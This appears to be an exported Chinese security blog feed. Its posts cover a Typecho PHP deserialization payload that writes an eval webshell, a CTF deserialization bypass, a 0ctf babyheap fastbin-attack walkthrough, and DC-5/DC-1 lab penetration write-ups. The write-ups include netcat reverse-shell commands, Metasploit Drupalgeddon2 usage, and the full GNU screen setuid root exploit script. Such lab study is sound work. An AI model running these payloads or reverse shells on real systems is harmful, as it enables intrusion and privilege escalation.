&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/unphp0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后如果要读取flag还有几个姿势，但不是本文的重点了&lt;/p&gt;
&lt;h2&gt;typecho反序列化漏洞&lt;/h2&gt;
&lt;p&gt;先放出payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
 
class Typecho_Request
{
 private $_filter=array(&quot;assert&quot;);
 private $_params=array(&quot;screenName&quot;=&amp;gt;&quot;file_put_contents(&apos;jrxnm.php&apos;, &apos;&amp;lt;?php eval(\$_GET[jrxnm]);&apos;);&quot;);	
}
 
 
class Typecho_Feed
{
	private $_items = array();
	private $_type = &apos;RSS 2.0&apos;;
	function __construct(){
		$item[&apos;author&apos;] = new Typecho_Request();
		$this-&amp;gt;_items[0] = $item;
	}
	
}
 
$abc = new Typecho_Feed();
echo base64_encode(serialize(array(&quot;adapter&quot;=&amp;gt;$abc,&quot;prefix&quot;=&amp;gt;&quot;_typecho&quot;)));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;序列化一个数组之后作为cookie传入，关键代码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/typ1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此处&lt;code&gt;$config&lt;/code&gt;接收cookie中的参数，那么&lt;code&gt;$config&lt;/code&gt;此时就是一个数组:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$config = array(&quot;adapter&quot;=&amp;gt;$abc, &quot;prefix&quot;=&amp;gt;&quot;_typecho&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其中&lt;code&gt;adapter&lt;/code&gt;键对应的是一个对象。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/11/B4SNL1EYOhpzu9r.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后&lt;code&gt;$config&lt;/code&gt;的两个键值对应的value都作为参数进入了一个类。&lt;/p&gt;
&lt;p&gt;查看该类的构造方法发现存在字符串拼接：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/11/vfe6cAPLjRZNr3o.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么查找&lt;code&gt;__toString()&lt;/code&gt;魔术方法，我们发现在&lt;code&gt;Feed.php&lt;/code&gt;文件中的一个类：Typecho_Feed&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/11/D1mYMOHZiAgNwlt.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$item[&apos;author&apos;]-&amp;gt;screenName&lt;/code&gt;如果$item[‘author’] 是一个对象，且不存在screenName属性时，会自动调用__get魔法函数。&lt;/p&gt;
&lt;p&gt;于是我们想要在实例化Typecho_Db类的时候，调用&lt;code&gt;Typecho_Feed&lt;/code&gt;类中的&lt;code&gt;__toString&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;此时继续寻找&lt;code&gt;__get&lt;/code&gt;方法：&lt;/p&gt;
&lt;p&gt;在Request.php文件中有一个类Typecho_Request中的&lt;code&gt;__get&lt;/code&gt;方法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 获取实际传递参数(magic)
 *
 * @access public
 * @param string $key 指定参数
 * @return void
 */
public function __get($key)
{
    return $this-&amp;gt;get($key);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续分析get方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function get($key, $default = NULL)
{
    $value = $default;

    switch (true) {
        case isset($this-&amp;gt;_params[$key]):
            $value = $this-&amp;gt;_params[$key];
            break;
        case isset($_GET[$key]):
            $value = $_GET[$key];
            break;
        case isset($_POST[$key]):
            $value = $_POST[$key];
            break;
        case isset($_COOKIE[$key]):
            $value = $_COOKIE[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = is_array($value) || strlen($value) &amp;gt; 0 ? $value : $default;
    return $this-&amp;gt;_filter ? $this-&amp;gt;_applyFilter($value) : $value;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果&lt;code&gt;$this-&amp;gt;_filter&lt;/code&gt;，就会调用&lt;code&gt;_applyFilter&lt;/code&gt;方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private function _applyFilter($value)
{
    if ($this-&amp;gt;_filter) {
        foreach ($this-&amp;gt;_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }
    }

    $this-&amp;gt;_filter = array();
    return $value;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时终于看到了&lt;code&gt;call_user_func&lt;/code&gt;方法，函数名是&lt;code&gt;this-&amp;gt;_filter&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;再看一道反序列化&lt;/h2&gt;
&lt;p&gt;``php&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
class Template{&lt;br /&gt;
public $cacheFile = ‘/tmp/cachefile’;&lt;br /&gt;
public $template = ‘&lt;/p&gt;
&lt;p&gt;welcome back %s&lt;/p&gt;
&lt;p&gt;‘;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __construct($data=null)
{
    $data=$this-&amp;gt;lodaData($data);
    $this-&amp;gt;render($data);
}

public function loadData($data){
    if(substr($data, 0, 2) !== &apos;0:&apos; &amp;amp;&amp;amp; !preg_match(&apos;/0:\d:\/&apos;, $data)){
        return unserialize($data);
    }
    return [];
}

public function createCache($file=null, $tpl=null){
    $file = $file ?? $this-&amp;gt;cacheFile;
    $tpl = $tpl ?? $this-&amp;gt;template;
    file_put_contents($file, $tpl);
}

public function render($data){
    echo sprintf($this-&amp;gt;template, htmlspecialchars($data[&apos;name&apos;]));
}

public function __destruct()
{
    $this-&amp;gt;createCache();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;new Template($_COOKIE[‘data’]);&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
这道题也是反序列化的应用，利用思路很清晰就是通过`__destruct`调用`createCache`写入一个webshell

重点在于这里：

```php
    public function loadData($data){
        if(substr($data, 0, 2) !== &apos;0:&apos; &amp;amp;&amp;amp; !preg_match(&apos;/0:\d:\/&apos;, $data)){
            return unserialize($data);
        }
        return [];
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果绕过这个if判断，这里需要分析一下php的源码：在’O:’,后面可以增加’+’，用来绕过正则判断。&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.freebuf.com/articles/web/209975.html&quot;&gt;PHP反序列化漏洞简介及相关技巧小结&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>0ctfbabyheap</title><link>https://rayepeng.net/posts/0ctfbabyheap/</link><guid isPermaLink="true">https://rayepeng.net/posts/0ctfbabyheap/</guid><pubDate>Sat, 10 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/2019/08/10/0ctfbabyheap/../asset/1570201109766.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;被0ctf的这道题目搞了好久。记录一下&lt;/p&gt;
&lt;p&gt;思路是使用fastbin attack，how2heap上有一个栗子可以分析一下&lt;/p&gt;
&lt;p&gt;先申请5个chunk，free之后使得 &lt;code&gt;fastbin[0]-&amp;gt;idx1-&amp;gt;idx2-&amp;gt;NULL&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;allocate(0x10)  # idx 0, 0x00
allocate(0x10)  # idx 1, 0x20
allocate(0x10)  # idx 2, 0x40
allocate(0x10)  # idx 3, 0x60
allocate(0x80)  # idx 4, 0x80
# free idx 1, 2, fastbin[0]-&amp;gt;idx1-&amp;gt;idx2-&amp;gt;NULL
free(2)
free(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时的bins&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; bins
fastbins
0x20: 0x5619d93ea020 —▸ 0x5619d93ea040 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/40gx 0x5619d93ea000
0x5619d93ea000: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx0
0x5619d93ea010: 0x0000000000000000      0x0000000000000000
0x5619d93ea020: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx1
0x5619d93ea030: 0x00005619d93ea040      0x0000000000000000
0x5619d93ea040: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx2
0x5619d93ea050: 0x0000000000000000      0x0000000000000000
0x5619d93ea060: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx3
0x5619d93ea070: 0x0000000000000000      0x0000000000000000
0x5619d93ea080: 0x0000000000000000      0x0000000000000091 ---&amp;gt;idx4
0x5619d93ea090: 0x0000000000000000      0x0000000000000000
0x5619d93ea0a0: 0x0000000000000000      0x0000000000000000
0x5619d93ea0b0: 0x0000000000000000      0x0000000000000000
0x5619d93ea0c0: 0x0000000000000000      0x0000000000000000
0x5619d93ea0d0: 0x0000000000000000      0x0000000000000000
0x5619d93ea0e0: 0x0000000000000000      0x0000000000000000
0x5619d93ea0f0: 0x0000000000000000      0x0000000000000000
0x5619d93ea100: 0x0000000000000000      0x0000000000000000
0x5619d93ea110: 0x0000000000000000      0x0000000000020ef1
0x5619d93ea120: 0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们修改idx2的指针,通过fill idx0造成溢出，同时由于内存对齐，可以肯定idx4的指针最后肯定是0x80&lt;/p&gt;
&lt;p&gt;修改后如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/40gx 0x560e5e91c000
0x560e5e91c000: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx0
0x560e5e91c010: 0x6161616161616161      0x6161616161616161
0x560e5e91c020: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx1
0x560e5e91c030: 0x0000560e5e91c080      0x0000000000000000 
0x560e5e91c040: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx2
0x560e5e91c050: 0x0000000000000000      0x0000000000000000
0x560e5e91c060: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx3
0x560e5e91c070: 0x0000000000000000      0x0000000000000000
0x560e5e91c080: 0x0000000000000000      0x0000000000000091 ---&amp;gt;idx4
0x560e5e91c090: 0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时的bins指向：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; bins
fastbins
0x20: 0x560e5e91c020 —▸ 0x560e5e91c080 ◂— 0x0 (idx2--&amp;gt;idx4)
0x30: 0x0
0x40: 0x0
0x50: 0x0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果再连续申请两个chunk，那么第一次是idx2，第二次就是idx4&lt;br /&gt;
但是malloc有一个check机制，如果两个fastbin的大小不一样就会报错，所以我们再借用一下idx3，让其溢出到idx4，修改idx4的大小&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/40gx 0x5573e66cd000 
0x5573e66cd000: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx0
0x5573e66cd010: 0x6161616161616161      0x6161616161616161 
0x5573e66cd020: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx1
0x5573e66cd030: 0x00005573e66cd080      0x0000000000000000
0x5573e66cd040: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx2
0x5573e66cd050: 0x0000000000000000      0x0000000000000000
0x5573e66cd060: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx3
0x5573e66cd070: 0x6161616161616161      0x6161616161616161
0x5573e66cd080: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx4
0x5573e66cd090: 0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时idx4的大小已经被修改了，于是可以申请了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;allocate(0x10)  # idx 1
allocate(0x10)  # idx 2, which point to idx4&apos;s location
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后，如果我们想要将 idx 4 放到 unsorted bin 中的话，先需要把它的大小改回来，同时为了防止其与 top chunk 合并，我们需要再次申请一个 chunk。此后再释放 idx4 就会进入 unsorted bin 中去了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/40gx 0x559b5b9a5000
0x559b5b9a5000: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx0
0x559b5b9a5010: 0x6161616161616161      0x6161616161616161 
0x559b5b9a5020: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx1
0x559b5b9a5030: 0x0000000000000000      0x0000000000000000
0x559b5b9a5040: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx2
0x559b5b9a5050: 0x0000000000000000      0x0000000000000000
0x559b5b9a5060: 0x0000000000000000      0x0000000000000021 ---&amp;gt;idx3
0x559b5b9a5070: 0x6161616161616161      0x6161616161616161
0x559b5b9a5080: 0x0000000000000000      0x0000000000000091 ---&amp;gt;idx4
0x559b5b9a5090: 0x00007fa9e254eb78      0x00007fa9e254eb78
0x559b5b9a50a0: 0x0000000000000000      0x0000000000000000
0x559b5b9a50b0: 0x0000000000000000      0x0000000000000000
0x559b5b9a50c0: 0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时dump(2)就可以得到unsorted bin 的地址了。&lt;/p&gt;
&lt;p&gt;此时的bins如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x559b5b9a5080 —▸ 0x7fa9e254eb78 (main_arena+88) ◂— 0x559b5b9a5080
smallbins
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>DC靶机渗透</title><link>https://rayepeng.net/posts/dc%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F/</link><guid isPermaLink="true">https://rayepeng.net/posts/dc%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F/</guid><pubDate>Fri, 09 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;DC 5&lt;/h2&gt;
&lt;h2&gt;扫描ip地址&lt;/h2&gt;
&lt;p&gt;之前一直没能够确认靶机的ip地址，其实只需要将网络连接模式修改为NAT模式重启一下就行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [4:06:38] 
$ arp-scan 192.168.41.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.41.1	00:50:56:c0:00:08	VMware, Inc.
192.168.41.2	00:50:56:e0:f7:aa	VMware, Inc.
192.168.41.166	00:0c:29:d7:ef:a4	VMware, Inc.
192.168.41.167	00:0c:29:fd:e8:73	VMware, Inc. ---&amp;gt; DC5靶机
192.168.41.254	00:50:56:f5:fb:f6	VMware, Inc.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.346 seconds (109.12 hosts/sec). 5 responded
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;扫描端口&lt;/h2&gt;
&lt;p&gt;masscan扫出了几个端口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [4:09:46] 
$ masscan -p0-65535 192.168.41.167 --rate=1000000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-09 08:10:19 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 192.168.41.167                                  
Discovered open port 111/tcp on 192.168.41.167                                 
Discovered open port 33188/tcp on 192.168.41.167
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;扫描端口对应的服务&lt;/h2&gt;
&lt;p&gt;然后上nmap扫服务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [4:10:42] 
$ nmap -p80,111,33188 -sV -T4 192.168.41.167
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-09 04:15 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 04:15 (0:00:06 remaining)
Nmap scan report for 192.168.41.167
Host is up (0.00042s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.6.2
111/tcp   open  rpcbind 2-4 (RPC #100000)
33188/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:FD:E8:73 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问原始网页：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/dc5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;扫描后台——推荐使用 gobuster&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;dirsearch.py&lt;/code&gt;似乎没有发现什么&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Target: http://192.168.41.167                                                                                           
[16:24:35] Starting:
[16:24:35] 400 -  172B  - /%2e%2e/google.com
[16:24:42] 301 -  184B  - /css  -&amp;gt;  http://192.168.41.167/css/
[16:24:44] 301 -  184B  - /images  -&amp;gt;  http://192.168.41.167/images/
[16:24:44] 200 -    4KB - /index.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看了师傅们的提示，发现footer.php很有趣&lt;br /&gt;
每次刷新数字都会变化&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/dc5-0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;同时发现在 &lt;code&gt;http://192.168.41.167/thankyou.php&lt;/code&gt;页面也有这种效果，于是猜想是不是本地文件包含漏洞&lt;/p&gt;
&lt;p&gt;访问&lt;code&gt;http://192.168.41.167/thankyou.php?file=/etc/passwd&lt;/code&gt;，页面回显了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/dc5-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;同时该主机使用的是nginx服务，于是可以写一个shell到日志中并且包含这个文件&lt;/p&gt;
&lt;p&gt;写入webshell，注意这里使用的是passthru函数&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;同 exec() 函数类似， passthru() 函数 也是用来执行外部命令（command）的。 当所执行的 Unix 命令输出二进制数据， 并且需要直接传送到浏览器的时候， 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif， 然后调用 pbmplus 程序输出 gif 文件， 就可以从 PHP 脚本中直接输出图像到浏览器。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/dc5-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;kali监听一个端口然后访问如下路由去包含文件并且弹shell&lt;br /&gt;
&lt;code&gt;http://192.168.41.167/thankyou.php?file=/var/log/nginx/access.log&amp;amp;cmd=nc%20192.168.41.165%202333%20-c%20/bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;核心命令&lt;code&gt;nc 192.168.41.165 -c /bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;此时的权限是&lt;code&gt;www-data&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/dc5-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来看如何提权&lt;/p&gt;
&lt;p&gt;上提权辅助脚本&lt;br /&gt;
&lt;a href=&quot;https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh&quot;&gt;链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;发现有这个文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/dc5-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;exploit-db上搜一下exp：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo &quot;~ gnu/screenroot ~&quot;
echo &quot;[+] First, we create our shell and library...&quot;
cat &amp;lt;&amp;lt; EOF &amp;gt; /tmp/libhax.c
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
__attribute__ ((__constructor__))
void dropshell(void){
    chown(&quot;/tmp/rootshell&quot;, 0, 0);
    chmod(&quot;/tmp/rootshell&quot;, 04755);
    unlink(&quot;/etc/ld.so.preload&quot;);
    printf(&quot;[+] done!\n&quot;);
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat &amp;lt;&amp;lt; EOF &amp;gt; /tmp/rootshell.c
#include &amp;lt;stdio.h&amp;gt;
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp(&quot;/bin/sh&quot;, NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo &quot;[+] Now we create our /etc/ld.so.preload file...&quot;
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  &quot;\x0a/tmp/libhax.so&quot; # newline needed
echo &quot;[+] Triggering...&quot;
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权方法&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/41154&quot;&gt;exploit 地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载下来之后直接运行是不太可能的，我们需要将其中的C语言文件单独编译&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/08/09/dc-ba-ji-shen-tou/kali.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后修改原有的sh脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo &quot;~ gnu/screenroot ~&quot;
echo &quot;[+] First, we create our shell and library...&quot;

echo &quot;[+] Now we create our /etc/ld.so.preload file...&quot;
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  &quot;\x0a/tmp/libhax.so&quot; # newline needed
echo &quot;[+] Triggering...&quot;
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是我不知道怎么将文件上传到靶机中，尝试过使用python开启一个服务器然后用wget命令还是失败了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2019/08/09/dc-ba-ji-shen-tou/kali1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如图发现还是失败了&lt;/p&gt;
&lt;p&gt;（纠结在不知道如何将文件传过去。tcl&lt;/p&gt;
&lt;h3&gt;DC5后记&lt;/h3&gt;
&lt;p&gt;thankyou.php文件中有以下内容；典型的本地文件包含漏洞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;footer-wrapper&quot;&amp;gt;
	&amp;lt;footer&amp;gt;
		&amp;lt;?php

			$file = $_GET[&apos;file&apos;];
				if(isset($file))
				{
					include(&quot;$file&quot;);
				}
				else
				{
					include(&quot;footer.php&quot;);
				}

		?&amp;gt;
	&amp;lt;/footer&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;DC1&lt;/h2&gt;
&lt;p&gt;arp-scan发现主机&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [9:46:49] 
$ arp-scan 192.168.41.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.41.1	00:50:56:c0:00:08	VMware, Inc.
192.168.41.2	00:50:56:e0:f7:aa	VMware, Inc.
192.168.41.168	00:0c:29:9f:4c:60	VMware, Inc. ---&amp;gt; DC1靶机
192.168.41.254	00:50:56:f5:fb:f6	VMware, Inc.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描端口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# root @ kali in ~ [9:46:56] 
$ masscan -p0-65535 192.168.41.168 --rate=1000000

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-09 13:47:23 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 111/tcp on 192.168.41.168                                 
Discovered open port 47738/tcp on 192.168.41.168                               
Discovered open port 22/tcp on 192.168.41.168                                  
Discovered open port 80/tcp on 192.168.41.168
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现80端口是一个cms，名字叫drupal&lt;/p&gt;
&lt;p&gt;metasploit搜索一下drupal的渗透模块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 &amp;gt; search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   1  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   2  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   3  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   4  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   5  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后设置相关参数，获得shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 exploit(unix/webapp/drupal_drupalgeddon2) &amp;gt; set RHOSTS 192.168.41.168
RHOSTS =&amp;gt; 192.168.41.168
msf5 exploit(unix/webapp/drupal_drupalgeddon2) &amp;gt; exploit 

[*] Started reverse TCP handler on 192.168.41.165:4444 
[*] Sending stage (38247 bytes) to 192.168.41.168
[*] Meterpreter session 1 opened (192.168.41.165:4444 -&amp;gt; 192.168.41.168:41848) at 2019-08-09 09:48:32 -0400

meterpreter &amp;gt; 
meterpreter &amp;gt; ls
Listing: /var/www
=================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  174    fil   2013-11-20 15:45:59 -0500  .gitignore
100644/rw-r--r--  5767   fil   2013-11-20 15:45:59 -0500  .htaccess
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是之后只能获得一个&lt;code&gt;Meterpreter&lt;/code&gt;,不是root用户也没法运行Linux的常用命令，于是想到修改payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 exploit(unix/webapp/drupal_drupalgeddon2) &amp;gt; set payload php/exec
payload =&amp;gt; php/exec

msf5 exploit(unix/webapp/drupal_drupalgeddon2) &amp;gt; set CMD nc 192.168.41.165 2333 -c /bin/bash
CMD =&amp;gt; nc 192.168.41.165 2333 -c /bin/bash
msf5 exploit(unix/webapp/drupal_drupalgeddon2) &amp;gt; exploit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时本机监听一个2333端口，成功反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ nc -lvp 2333           
listening on [any] 2333 ...
192.168.41.168: inverse host lookup failed: Unknown host
connect to [192.168.41.165] from (UNKNOWN) [192.168.41.168] 60424
ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时上提权辅助脚本：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;添加可执行权限并且运行，重点关注：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[-] SUID files:
-rwsr-xr-x 1 root root 88744 Dec 10  2012 /bin/mount
-rwsr-xr-x 1 root root 31104 Apr 13  2011 /bin/ping
-rwsr-xr-x 1 root root 35200 Feb 27  2017 /bin/su
